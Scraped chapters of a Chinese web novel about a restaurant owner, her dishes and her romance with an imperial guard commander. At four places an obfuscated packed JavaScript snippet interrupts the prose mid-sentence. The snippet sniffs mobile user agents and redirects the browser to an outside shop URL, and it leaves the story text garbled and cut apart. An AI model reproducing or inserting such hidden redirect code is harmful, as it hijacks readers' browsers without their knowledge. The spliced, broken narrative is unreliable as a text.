李定卓端着盛好的菜食，轻声道谢后离开，走至已在大口用饭的章文安身边。 ：“太美味了！！”章文安抽空感叹。 比起话语，李定卓手中飘散而来的香气更有信服力，香气不会遮掩美味的本质，反而能勾动人潜藏的食欲，在与鲜艳的色泽相合，吸引着人拿起筷子，将色放入口中。 忽略身旁人夸张的感慨声，李定卓先夹一颗丸子放入口中，弹软的鱼肉丸子外裹着一层香辣的酱料，辣味却不是来自于辣椒，而是类似于香料或是药材，很奇特的口味，但又十分精彩。 咬破之后，里间缓缓流出咸香的绵沙，是蛋黄腌制过后，特有的醇厚风味。 两种口味融合在一起，反而分和谐，甚至是相配，多少一分，都不会绽放出口中这般的美味。 而后是冰凉的拌菜，爽脆清新，酸辣的汁水融入菜蔬之中，每咀嚼一下，食欲就增一分，有了浸着多味汁水的米饭的衬托，分明普通的菜蔬却成了一抹必不可缺的存在，诱的人想再吃一口。 吃了几口饭，李定卓夹起裹着辣油的鸡丝入口，鸡丝软嫩水润，香辣的辣油强势又直接，抓住一切感官，在没有一丝多余干柴的突兀打扰中，在舌尖泛起辣辣，隐隐约约还能尝到芝麻的香味，越嚼越香。 的确，让人有发出高低起伏地感叹声，正如耳边传来的一般，但李定卓忍了下来，又挑饭入口。 就连普通的炒黄瓜片，都十分清新爽口。 他的运气，的确不错，很是不错。 章文安先一步吃完，还意犹未尽，转头还在专心用饭的李定卓，试探地问：“你·····还吃得下吗？” 李定卓停下动作，：“我何时吃不下？” 章文安牵起嘴角，某人的确开始按时用饭了，只不过吃的不多，尤其是午饭，这会儿又信誓旦旦地问这个，他眯起眼睛，啧啧两声。 ：“亏心吗？” ：“看人。” ：“······” 说完，李定卓便不再理会章文安欲求不满地问题，目光轻轻地转向前方终于空闲下来的江弥杉，此时她正欣悦地笑着与同伴交谈，也不知说的什么，她笑得明媚又生动，似将欣喜表现的如此明显。 江弥杉忽觉身上有一处焦点，下意识地寻找，隔着一条道路，寻到焦点的起源，是一对时常静色的乌眸，落至她身上时，时常又会带着温润，下一刻，视线又从她身上离开，继续落至手中的碗上。 欲言又止的模样，大概是有话要说，江弥杉便转头与方万宜道：“我离开片刻。” 无需多想，方万宜已是了然：“姑娘去吧，此处有我。” 江弥杉跑过街道，先与章文安问好，才站到李定卓身边，他碗中的饭食也只剩底上一层，在吃几筷就将见底，她没有多说什么，抱手瞧他不急不慢地吃饭。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14009237|148572||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>章文安端碗，：“江姑娘，我们的李大人，头一回吃如此多。”在李定卓望过来时，他抬头往收碗的地方走。 这一处地方只有两人，李定卓咽下一口米饭，解释：“我在慢慢适应。” 听他解释，江弥杉却道：“那就慢慢来，按自己的份量来就好。” ：“今日用得多些，也是因为饭菜可口吧?”她展颜一笑。 李定卓唇角微微扬起：“嗯，很可口。” 江弥杉介绍起来：“炖鱼丸的酱汁是我调了许久才做成的，许多香料药材才调出的口味，最初只是想试试，有了雏形之后，就不想就此了事，一鼓作气地调配至今日的成果，还不错吧？” 听江弥杉语气欢快地说着不易，眼眸亮若明珠，李定卓感到心在一道不知从何而起的和煦暖意中咚咚跳响，漾起微波。 此处只有他，弥杉将小事与他讲述，这件小事，来自与她的生活。 心尖在发热，李定卓又吃一口饭，待她说完最后一个字，对上弥杉的亮眸，轻声答复：“我很喜欢。” 江弥杉唇角笑意更深：“那便算是没白花心思。” ：“快吃吧，待会就凉了。” ：“嗯。” 章文安站在对面，瞧着对面旁若无人的景象，啧啧两声，凑去方万宜身边，真诚发问：“为何你们不去镇抚司售卖？” ：“镇抚司的食堂也甚是单调。” 方万宜：“与锦衣卫打交道，姑娘习惯，但并非所有人都如此。” 章文安瞄一眼对面的黑袍：“镇抚司的头在·····” 不对，令人胆寒的就是镇抚司的头。 方万宜垂眸：“章公子可早几刻来，如此就能排上了队了。” 章文安无奈地叹气：“案子审不完，谁敢走？” 方万宜又抬眼，诧异地一字一字问出：“镇抚司审案？” ：“······我们是正经审查。” 方万宜微微扬起眉，沉默片刻，很难将他口中的正经与听到那些对在一起，却没有质疑，而是点头，：“嗯，我晓得。” 章文安看他明显不信，只是尚未表露出来，想着锦衣卫风评虽不好，但是又是江姑娘身边的人，若是能打消她们的顾虑，说不定这几旬还真有机会再镇抚司门口吃到江记的饭食。 ：“方姑娘，其实镇抚司审查案子是有定则的，比如不可严刑逼供，不可滥用刑法，我们审查案子，大多不刑具，而是确切的实证，配以口供。” ：“除非遇上冥顽不灵之人，否则绝不动刑。” 方万宜抿唇，：“嗯，是我们误会了。” 章文安：“······” 怎么还不信呐！！！ 彼边，李定卓吃干净碗里的米饭，感到胃腹前所未有的饱满，衣袍甚至都往外鼓。 江弥杉也诧异，平日去京郊的时候，李定卓都没吃那么多。 目光扫过他向来平平的腹部上滑，试探着问：“是不是吃得太多了？” 李定卓端着碗，垂眸扫一眼一颗米饭都没有碗，道：“浪费饭食不好。” ：“御膳也是饭食啊？” ：“我没动筷。” 江弥杉：“……” ：“下回少打些给你，做回奸商。” 李定卓眼底溢笑，无言牵着她的袖边往路对面走。 心想，无论多少，只要是你做的，都好。 41. 江记食肆（升级版） 转眼，秋高蟹正肥，京城几家酒楼的老板难得心情平和地坐在一桌，无心吃糕点，却探讨着从前那个不起眼的小食肆。 ：“当初是谁说区区一个小食肆，都是残兵败将，无需在意的？” 鲁旺抿唇不言，他如何能料到江记能做得成气候，不过是做得些稀奇菜品，小小五个餐位，做得在美味又如何，店铺就小小一间，哦，厨子都是往他这出去的，要么没了味觉，要么不成气候，如何能成？ 那晓得还真做成了，盖了楼，招了人，连店在改建时都不放过机会，去街上摆摊，做得不过就是普通的菜食，怎就如此让人赞不绝口，恋恋不忘，连到店里吃饭都要提一嘴。 同样是厨子，区区的小菜，怎么就还有区别了？ 另一个人接话：“还是长公主赐的牌匾，一个小食肆，凭的什么？” 又有个人补充：“偏偏还是个不好惹的，若是性子软合点，找些麻烦也不难。” 几人都不说话了。 是摊上找茬，说是吃食干净，结果那姑娘，看着平易近人的很，细眉一挑，说起话来头头是道，辩得人无话可说。 ：“你真确定是从菜里吃出来的？” 负责买饭的两个伙计必然是点头。 正当人都要觉得是要道歉了，可曾想，人捏起发须，扑在摊上，笑着说：“诸位看仔细了，我们二人的发每日都是长辫子，长此以往，发必然卷曲，而此根发，长且顺直非常，难道我们的头发，还会突然就变的如此直了？” ：“再者，这发丝枯燥非常，与我们的发并不相近，怎么，难道发的质地也能忽得变了？” ：“你们安的什么心，作践饭食，反倒来与我们讨说法。” ：“为得清白，我必要报官！” 结果，事没坏，反倒是被抓去府衙，招供的清清楚楚，坏了自己的名声。 其中一人思索片刻，意味深长地道：“不过，我是好奇，都是同样的菜，她做得怎么就更美味的，你们难道不想亲自尝尝？” ：“······” * 彼边，重新开业的江记食肆已坐满一批客人。 兰香与新招的跑堂正忙于为食客点菜，：“今日售一套蟹肉煲饭食，共是两荤三素，有小菜四品、汤一品、甜食红糖玉米饼一品，木牌上的小菜也可点，公子们想点些什么？” 一层由五桌改成了七桌，原来的五桌不变，多了两桌在客房。 卢灿宇与大理寺的同僚对瞧一眼：“一套饭食就可。” 兰香取下桌上木架子挂着的圆圈牌子，拿了就又去往下一桌。 卢灿宇道：“我还在国子监时就到时常此处用饭，别的不提，但此处的饭食着实可口，令人食指大动，今日这餐就由我请了。” 江宥玟：“江记食肆与江记小食是一家吧，人看着眼熟。” 卢灿宇：“正是，食肆先前改建，就转为小摊经营了。” ：“难怪……” 先前就看卢寺丞到饭点就往外跑，细问了才晓得，原来是去小摊用饭。 他跟着去了一回，没想到竟是站在路边吃，有辱斯文，才到他就借口离开了。 只是没想到，买的人还真不少，还出了岔子，查明了原因，原来是眼红栽赃。 正说着，身边又走过四个着飞鱼服的锦衣卫，堂内顿时噤声，正好出来的掌柜笑着，领往包间走。 江宥文暗自在心中感叹厉害，锦衣卫面前还能笑的出来，已非常人了。 江弥杉领着他们坐下，先斟茶，还未说菜，其中一位就先道：“江姑娘，我们头入夜来。” ：“我们几个先来一探美味。” 江弥杉沉默片刻，轻笑两声，：“保管让大人们满意。” ：“江姑娘客气，别什么大人不大人的了。” 他指着逐一介绍一圈，才道：“江姑娘就如此称呼我们吧。” 江弥杉笑回一声好，再一回觉着锦衣卫也并不一定像传闻中的那样凶如猛兽，冷血无情，又将今日的菜食说了，问点什么。 待江弥杉拿了牌子走后，周扬轻声感慨：“上一任的老指挥使也太不是人了，为了一己私欲，害的她家破人亡，身边连个亲人都没有，难怪那些人敢找茬。” 李简阳摇头叹气：“哎……” 齐端喝口茶，并不赞同：“有指挥使啊，可惜人江姑娘从未以此撑面子。” ：“她若是以此撑面子，谁还敢？” 李简阳：“指挥使是指挥使，江姑娘是江姑娘，否则她也不会待我们如寻常客人吧。” 端茶送水，热情款待，很是亲和，却不让人感到殷勤。 说话间，已有餐食送上。 ：“客官，你们的蟹肉煲、白斩鸡和米饭。” 众人的目光都被那个冒着香辣白烟的煲所吸引，色泽棕红，拇指长的蟹肉红白相间还裹着一层亮眼的外衫，加杂着虾仁、鸡翅与各色菜蔬，棕红的辣油晶光烁烁，看得人胃里空空的。 那香辣味已甚是诱人，宛若一股热浪冲入鼻息，直达头脑，还未入口，舌尖已经在酥酥麻麻的痒了。 ：“多谢啊。” 说完，几人就拿起筷子朝煲里下手。 味道果然要比闻着更香，十分有冲击力，又香又辣，但并非是单调，而是一种酱、辣椒、香料融合过后的辣，吃进口，像是被香辣味打了一拳。 辣，但并不尖锐，因而吃起来格外的爽，辣爽。 再有蟹肉独特的鲜美，这香辣味在咀嚼间又多了摸鲜甜增色，一齐萦绕舌尖，宛若余音绕梁，令人欲罢不能。 ：“好吃！太好吃了！！”周扬满意地夸赞。 ：“我从前吃的都是什么蟹肉啊！！” 说着，他又夹一块入口。 然不止蟹肉美味，其中作为配菜的鸡翅、虾仁同样又香又辣，又嫩又弹，菜蔬也辣中回甜，香辣中又赠了抹清新。 ：“简阳，添饭。” 香辣在口中翻涌，只有米饭能解。 米饭放在靠门的李简阳面前，他先盛了碗自己吃，又帮递碗来的同僚盛。 盛着饭，又听齐端略有不足地道：“若是在配几碗酒就好了，想想都觉得舒服。” 李简阳抬眼横过去：“你疯了？想吃罚棍了？” 锦衣卫当值时禁酒，饮酒正是镇抚司严令不许的。 ：“哎呀，想想嘛，又不是真要喝。” 这时，又上来其余的几道菜，李简阳往外扫了一眼，就见一架小推车，车上还放着几碗一样的菜食。 ：“客官，你们的菜齐了，若有其他需要，请摇门口的这个小铃铛，我们会很就来。”李芽侧身，指着悬在门边的一条铃铛。 如此铃铛，每间屋子都会有一个，只要门口的铃铛一响，柜台内就对应铁片就会响。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14009238|148572||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 也不知是如何做得，看了几遍都说不清楚。 ：“客官慢用。” 说完，李芽就退出包间，握着推车继续送菜去。 四人又继续享用美味。 包间外，每桌都上得一样的菜品，刚上完菜，卢灿宇就不忍住去夹蟹肉，又碰上对面的筷子。 ：“我所言不虚吧，去年这个时候还有蟹黄包呢，也不晓得今年可会售卖。” 江宥文辣得吸气，还是不由的去夹，：“的确美味，虽辣了些，但毫不影响。” 卢灿宇：“吃个白斩鸡缓缓吧。” 江宥文：“再吃个蟹肉。” 卢灿宇哈哈朗笑，到江记食肆，除了个别有的忌口，大多都能一饱口福。 纵然有忌口，兴许尝过一次后也会转变心意，有一回，就有第二回…… 卢灿宇：“你不晓得，我表哥其实也不擅长吃辣，有一日竟将江记的辣汤鳝丝吃了一锅，他与我说起时，我都怀疑听错了。” ：“本来想约上他一起的，可不巧他公务繁忙，抽不开身，错过了这回吃蟹肉的机会。” 江宥文抬眼：“辣汤鳝丝？”听起来不错。 卢灿宇：“这些都是从前的菜品了，啊，现在回想起来，还是回味无穷呐。” 江宥文深觉可惜，：“……卢兄，吃蟹，吃蟹。” 上完一轮菜，宽阔的厨间也终于轻松片刻，各个都端着碗红糖糯团子吃。 姜绮坐在方万宜身边，将适才出去上菜所见说出：“我瞧见其他几家酒楼的老板了，就在二楼的雅间。” 姚丹气的哼了一声：“他们还没折腾够，怎么还来食肆了！” 方万宜蹙起眉，望向对面正吹凉团子江弥杉。 江弥杉抬眼，心里厌烦，但面上依旧平稳，不紧张，反而笑道：“由着他们，若是要闹事，早闹了，等不到这会儿。” ：“若是再闹事，没脸的也是他们。” 姚青咬牙：“真可恶！如此厚着脸皮来！！” 方万宜深吸一口气，平复心情，从前都输派厨子来尝味，不过几日就推出与江记一样的菜食。 木鱼脑袋空着不想他事，就想着往小食肆偷配方。 何止是厚脸皮，简直是，脸皮比城墙还厚。 比起偷偷摸摸，江弥杉更喜欢各凭本事的竞争，对于阴人抄菜谱，深恶痛绝。 阴人上辈子也不是没经历过，就算没有摄像头，也能查到蛛丝马迹。 至于抄菜谱，她一响秉持着，你敢抄，我就敢变，食物本就没有定论，抄得的一种只是皮毛。 不想办法研制与创新，食客的嘴本就挑剔的，吃过江记的，再去吃其他抄出来的，自然会察觉不同…… 她也不是不晓得，只是懒得去说没有秘方，因为人根本不信，就是觉得她手里有什么不为人知的秘方在，并千方百计地以各种方式来探求。 江弥杉道：“为他们生气做什么，影响心情，还不能动手，憋着难受。” ：“除非他们忍不住先动手，否则只能睁一只眼闭一只眼。” 姜绮一愣：“姑娘教我们练匕首和防身术，是为了防这个？” 江弥杉点头：“以防万一，总比赤手空拳，任人摆布好。” ：“自保为上，揍一顿，不也很好？” 众人：“……” 看来，江姑娘十分讨厌他们了。 42. 夜市食记 暖日高升，秋风瑟瑟，因生意火热，江记外还排着小队。食客进出轮换，出去几位，又紧跟着走进几位。 通往二层的楼梯前后走下几个人，还念叨着适才的菜是如何做的，忽一转头，就瞧见站在楼梯旁，笑眼盈盈的女掌柜。 头起的鲁旺顿时止住了声，接着脚底一滑，险些踩空，得亏张晓服他一把，否则非得出个洋相。 鲁旺对着那双晶晶笑眼，心里莫名慌乱，四处瞟。 ：“客官当心。” ：“客官慢走。” 江弥杉就站在楼梯旁，看着之前几位作祟的老板下楼梯，看他们慌乱，莫名感觉得好笑。 在他们心里，她什么时候这么恐怖了。 她也不是特意等着他们，而是刚好送完菜，瞧他们你一言我一语地下楼梯，谈得又是菜，干脆就停楼梯口，听听他们研究出了什么。 几人正色，最后的一位怕被认出，还将脸偏朝一边，走远了才转过脸，低声念叨：“她该不会专门等我们的吧？” 江弥杉望向前方，朝前走的四道背影还未走到门口，就新进来三位谈笑着的食客，四人又在门口定了片刻，彼此看了一眼，妥协似地摇头，甩袖离开。 江弥杉收回目光，此时身心舒畅似要与拿奖时相近，鼓舞心欣然跳跃，很令她享受。 她唇角扬起明媚，迎上去，招待新进来的食客：“客官，请上楼，雅间坐。” ＊ 夜深，街道中商铺大多已打烊，暗色的街道成了鸟雀的驻足场地。 江记收了灯笼，大堂的烛台也灭了一半，光亮暗了许多，桌上的油灯忽明忽暗地抖动，朦胧地映照，江弥杉杵着脑袋，眼睛止不住地合上，又在下一刻醒神睁开，朝门外探看。 反反复复几回，总算得见一点烛光行来。 江弥杉看清人，放下手，杵桌站起，正要说话，就被李定卓抢了先。 ：“到外面小摊吃吧。” 江弥杉没有想到他会这么说，见他没有半点开玩笑的意思，却又正好和她想的差不多，不由愣了片刻。 从前五个餐桌尚且觉得疲惫，那么当下的两层楼，真是用完了她所有的精力。 菜食已经全都售罄，兰香与万宜都已经回去，另外的几个服务员也都已经去休息，另外做菜，就要重新烧柴热灶。 厨间距离她们睡的地方很近，这时在行动，影响人休息。 但，李定卓又是个对吃食极其挑剔的人，江弥杉如何都想不到这句话会从他口中说出来。 江弥杉胸口一热，绕出椅子，望向他的眸子，认真地问：“你吃过晚饭了？” 李定卓如实答：“没有。” 早在未出镇抚司时，此事就已经在心中落实了，待来到江记时，见她如此疲惫，就更不忍再劳烦她。 江弥杉目光软了些，望向他的眸子，：“你吃不惯，如何饱腹？” ：“试试。” 江弥杉明白李定卓是关心她，想让她少操劳，为此愿意去试着吃路边摊，一股热泉涌入心室，温情环绕，一时间情难自抑，扑进他的热怀。 耳贴着他砰砰跳动的胸怀，手圈住他的腰腹，轻声道：“指挥使大人要被我带偏了。” 胸膛之上出来闷哼一声笑，又在胸膛回荡。 李定卓垂眸望着贴在胸口的弥杉，语中露出些无可奈何：“是啊，因此以江姑娘更该对我负责。” 江弥杉更是意想不到，从怀里仰头，生出点冒险的心思，调侃：“不负责会如何？” 李定卓并未想过这个问题，思索片刻：“我只好每日与江伯父烧香祈愿，再盼望你早日回心转意。” 江弥杉看他想得认真，最终说出这一句毫无警示的话，说不上为何，却极其令她满意，轻笑着松开手，莞尔笑道：“放心，我会对你负责的。” 话说出来，她又觉得那里不对劲，场景，状态，都奇怪，但也懒得多想，转身去吹灭烛火。 ＊ 夜市掩于一片繁星点点的暮布之下，星火闪闪，人影攒动。 兴许是时间渐晚，行人已没有夜色刚至时密集，江弥杉牵着李定卓逛，挑选合心意的吃食。 ：“姑娘，豆沙饼来一个吧，香甜的很呢！” 江弥杉停下脚步，望向老妇面前的小摊，热锅有几个盏口大的口，这会儿正空着。 江弥杉望向李定卓，：“可来一个？” 李定卓摇头，江弥杉并不意外，走上前，笑着道：“婆婆，我买一个。” 老妇人笑着拿起茶壶，往口里到蛋液，：“姑娘稍待片刻，现做出的更香。” 江弥杉等着饼，顺便打探：“婆婆，这条街上可有不容错过的吃食呀？” 锅内蛋液凝聚，老妇又拿过陶罐，舀出几勺绵密的红豆沙，平平扑上，又浇一层蛋液。 ：“嗯，前几位有一家李记馄饨摊，还有个卖烤羊肉串的，是西域人卖，馄饨摊旁边的炸窝窝也不错。” ：“两人一起的话，今夜桥头那处可放彩灯，不少成对的年轻人去放呢。” 江弥杉道：“好，我待会儿去看看。” 李定卓立在一旁，覆手望着江弥杉与摊主交谈，听到彩灯时，想着今日并非节庆，无故放彩灯做何。 但弥杉似乎对此感兴趣，随她去一会儿，也并非不可。 待江弥杉递来煎饼，他才回过神。 煎饼的确不错，鸡蛋香的醇厚浓郁，咬上两口就是绵密香甜的豆沙，果真如老妇说的那般，很是香甜。 江弥杉特意换了边没咬过的一角，又举起，示意李定卓，：“吃一口？” 李定卓微微弯腰，小咬一口热烫的饼子，咽下不算顺滑的饼。 ：“如何？” 李定卓勉为其难：“还……不错。” 江弥杉：“……”那就是不行。 江弥杉没有问原由，而是将心底的疑问说出：“伯母与伯父应该极其擅长烹调吧？” 李定卓未料到江弥杉的话题转的如此快，眸底光泽凝聚，脚步一滞，想起幼时往事。 那时，他不知晓何为美味，只是母亲做得饭食每一回都格外可口，没次都不会剩太多菜，直至后来，他明白了，也极难再品尝到。 李定卓唇边浮出一抹笑，笑意浮进眼底，望着前方与天相接的路，：“嗯，我娘亲自幼随着祖父祖母学厨，她做的饭食，无人不喜。” 江弥杉挽上他结实的手臂，轻声道：“绝味不可及。” 李定卓：“是她人做的饭食总有瑕疵。” ：“同样的炒青菜，御膳房都端不出来一份相近的。” 江弥杉咬一口饼，默默猜想，伯母大约也是将一位将全部心思透入烹饪中，用心探 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14010462|148572||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 索食材与火力的组合变化。 细致入微地对待的每一道菜食，是一位难得的厨师。 ：“时常我会想，娘若是活着，见到你，她必定会十分欣悦。”李定卓停顿了片刻，垂眸继续道。 江弥杉心头一酸，抬头对着投下的带着哀惜的目光，：“比起与我相见，伯母见你安乐会更欣悦的。” 李定卓淡淡一笑：“我现在已很安乐了。” ：“就是，饿。” 江弥杉：“……” 她垂眸看一眼残缺的饼，正要换一角，下一刻，饼就被一个大掌握高，眼前埋近一张冷峻的墨眸，湿热的气息扑洒在唇上，接着饼就被咬了一口。 江弥杉一愣，往四周打量一转，果然对上路人诧异的目光，似乎她被抓住了，又迅速转移目光。 江弥杉捏着饼，耳廓都在羞的发热，轻声低喃：“你……饿了就拿去吃。” 李定卓又恢复正经，也不在乎周围的目光：“不要。” 走至馄饨摊，江弥杉又去买了两串羊肉串与炸窝窝。 ：“你吃几个馄饨？” ：“我吃你的。” 江弥杉沉默片刻，买了三十个馄饨。 馄饨在煮着，江弥杉拿起炸窝窝咬了一口，外脆里糯的口感，咸香的风味，碳水与炸物的结合，最是令人满足。 照常，江弥杉递给李定卓咬一口，这一回，一块窝窝咬了一口后，又被撕去大片。 ：“你爱吃这个？”江弥杉捏着半个窝窝，诧异地问。 ：“很香。”李定卓望着她，又从对面起身做至旁边。 摊主端来馄饨和一个小碗，却瞧见与往日反过来的场景。 男子分吃女子拿着的羊肉，还不愿自己拿，非得女子拿。 江弥杉待摊主走了，盛四五个馄饨放入小碗，轻声感慨：“你就不担心遇见熟人？” 李定卓目光从眼下的小馄饨，滑至身侧的人挑眉：“认出又如何？” 江弥杉盛起一个馄饨，：“；你不是活阎王吗？” 李定卓沉思片刻，也盛起一个：“分人。” 说完，他又补充：“大多数人没几个是清白的，有心查，第二日就可在镇抚司见面。” ：“下属，习惯就好。” 江弥杉倒吸一口凉气，：“……好” 是她多虑了。 馄饨皮薄肉鲜，内里还有些许葱香点缀，配上鲜美的高汤，又是饥肠辘辘的夜里，虽简单，但也十分可口。 江弥杉吃完一个，又接着盛起第二个。 路边，走过几个高挺的人，其中一个突然止住脚步，诧异地望着街边的馄饨摊，又怀疑眼花，揉揉眼，定睛一看，确认没有看错。 便又扯扯身边的男子，下巴往前方一点，：“那不是指挥使嘛？” 指挥使与一位姑娘并肩坐着，还笑着说话，从姑娘的碗里盛馄饨吃！！ 那人定睛一看，：“啊，那位是江姑娘，指挥使的心上人，不奇怪，不奇怪。” ：“不奇怪？” ：“……嗯。” 多的，到江记用饭时又不是没见，习以为常了。 ：“你初来乍到，习惯就好。” ：“走吧，莫非你多看一会儿？” ：“不想，不想。”他摇头。 心道，想也不敢。 43. 过桥汤面 天乍然转寒，却依旧不减食客的热情，江记外时常排着一条小队，寒风卷过，大多人原地条条，往手里呵一团热气，搓手取暖。 店内香烟袅袅，刚上的大碗装有金灿灿的鸡汤，旁边的推车摆放三排小碟，分别装着鹌鹑蛋、焯水的韭菜豆芽、火腿片、肉片、玉兰片、腌制的小菜。 江弥杉站在车前，端起鹌鹑蛋，轻慢一倾，金黄的一颗鹌鹑蛋就滑入鸡汤。 ：“这便是过桥面呀？”秦訾易看着江弥杉操作，脆声问。 赵嘉容端茶浅抿一口，唇角柔柔笑着，面前的鸡汤碗已烫着面。 江弥杉继续下火腿片等食材，轻声回：“对，这便是过桥汤面。” ：“为何叫过桥呢？”訾宜好奇，又问。 赵嘉容也不明白，鸡汤烫面，如何会与过桥相合，询问地望向江弥杉。 江弥杉解释：“此是源于一个传言，一位妇人的郎君在书院备考，她时常去给郎君送吃食，但因路途远，每回到时，餐食已凉，而后她就想到了用鸡汤烫热这个办法，又因送餐食途中经过一道桥，而后，世人就称其为过桥汤面。” 其实正宗的应该是用米线，但米线做法反复，于是思量后，江弥杉就换成了上辈子出差时，吃过的面条与米粉。 火腿是去年腌制的，到今年正好咸香紧实，前几日洗净后削了一片，味道醇厚，咸淡适宜，她就拿出配在过桥汤面中。 赵嘉容听完，轻声感慨：“原来还有如此典故，不仅吃食动人，背后的故事，亦很动人。” 訾宜若有所思，觉着有些像话本子，但没有说出来，望一眼公主婶婶身边的空位，转头问嘉容：“小叔怎的还不来？” 赵嘉容笑道：“不急，我们先吃着。” 江弥杉道：“第三套与其他热菜需上时，姑娘摇门口的铃就好。” 赵嘉容眸望着碗里的面，思索片刻，：“第三套的面改为大份吧。” 话音刚落，门外传来两道敲门声，赵嘉容美目轻弯，訾宜转头笑道：“小叔来了。” 守在门口的侍女打开门，道：“姑爷。” 秦誉泽走入门时微微弯腰，龙行虎步走至桌边，身形高挺健硕，却定着一张文气的雅面，笑着落座在嘉容身边。 ：“那个，夫人……久等了。”他带着几分不自然。 ：“小叔，婶婶与我等您许久了。”訾宜见小叔这幅模样，无奈道。 江弥杉猜想这位驸马兴许是武官，在外叫夫人，在内叫公主，一时有些不习惯。 江弥杉先倒一盏茶送上，与赵嘉容对笑一眼，轻快地推出包间，去准备第三套面。 赵嘉容问：“怎么这会儿才来？” 秦誉泽嘿嘿笑两声，从蓝紫色的衣袍中取出个木盒，对着嘉容打开，里面装着一对精美的珍珠薄蓝宝石耳环。 ：“我去铺子拿了这个。” 样式精致，訾宜不禁感叹：“真好看！” 秦誉泽挑眉：“那当然，这可是小叔我亲手绘制的样式，全京城，至此一对。” 赵嘉容目光轻和似风的从耳饰滑至誉泽期待的面容上，莞尔轻笑，温软的语种藏不住爱意：“好看，我很喜欢。” 秦誉泽心满意足，收起木盒：“喜欢就好。” 訾宜大约明白了小叔说，公主婶婶是他用了十二分努力，一路过关斩将才终于娶得的姑娘。 此时，江弥杉推车走入，停在秦誉泽旁，：“姑娘，面可吃了。” 说完，江弥杉接续上菜，又为秦誉泽往鸡汤里下配菜。 赵嘉容拌匀面，挑起几根金线般的面，轻轻抿入口。 顺滑的面裹着醇厚鲜美的鸡汤，面的口感劲道，咀嚼起来不软不硬，还有丝丝麦香，不忍咬断。 如此看，鸡汤熬煮的时辰应当不短，因而将鸡的醇香都融入了汤。 赵嘉容笑点两下头，接着盛一勺鸡汤慢慢饮下，果然如她所想，鲜美又醇香，却未有一丝肉腥味。 暖汤如泉沁入肌体，散着热，烘着身子都暖了起来。 訾宜也吃完一筷面，小声感叹：“真好吃，与我吃过的鸡汤面都不一样呢。” 赵嘉容眸底含笑，虽不晓得那则传说是否真实，但天寒凄冷时，得尝一口鲜暖的热汤面，口舌满足，身心也十分舒适。 嘉容思绪飘远，这时秦誉泽夹过一块浸着棕黑酱油的鸡块放入嘉容面前的小蝶，：“夫人，用肉。” 赵嘉容被思绪拉回，似有所感，望向秦誉泽，：“嗯，你先吃些热菜暖暖身子吧。” 江弥杉最后扒细面入汤，微笑道：“待面浸热，拌匀后即可食，诸位慢用。”，又与赵嘉容对笑，随后推车离开。 秦誉泽反应过来，夹过一段炸肉，转头问：“她便是江弥杉？” 赵嘉容：“嗯，也是江记的掌柜。” 秦誉泽对太子谋逆案的印象深刻，那时谁也不敢轻易得罪镇抚司，生怕落得如江家一般破人亡的下场。 秦誉泽思索片刻，对此不解：“太后如此在乎他，为何不在冤情得清时，将她留在身边，认作义女，这也比在坊间操忙要好许多吧？” 訾宜一愣，停下吃面，诧异地望向小叔，却也等着婶婶的回答。 嘉容回忆起往事：“是江姑娘主动请求出宫的，母后将封号都定好了，但江姑娘恳请出宫，母后便同意了。” ：“而后，江姑娘开了这家食肆，之间出了回意外，母后拖我探望，我也才来此用饭。” ：“那日来吃猪肚鸡暖锅，本想带一份回府，但可惜并不准外带。” 到此，訾宜笑着补充：“而后几回，小叔你都不得空，因此婶婶就带我来了。” 秦誉泽：“……” ：“你倒是有口福。” 訾宜眼珠一转：“小叔，莫非你想让婶婶一人，孤零零地来此用饭吗？” 这场景并不少见，但赵嘉容仍忍不住轻笑，轻轻抬起眉，转眼望向目瞪口呆的秦誉泽。 ：“你……” 秦誉泽无可奈何，也做不出同小侄女斤斤计较的事，只好咽下无奈，摇着头，挑面拌匀。 ：“我从未如此想过，少胡说。”秦誉泽正色与嘉容道。 赵嘉容：“好了，快吃面吧。” 长公主开口，此事就翻过篇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14020499|148572||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，秦誉泽又分别夹菜给夫人与侄女，接着大口吃面。 ＊ 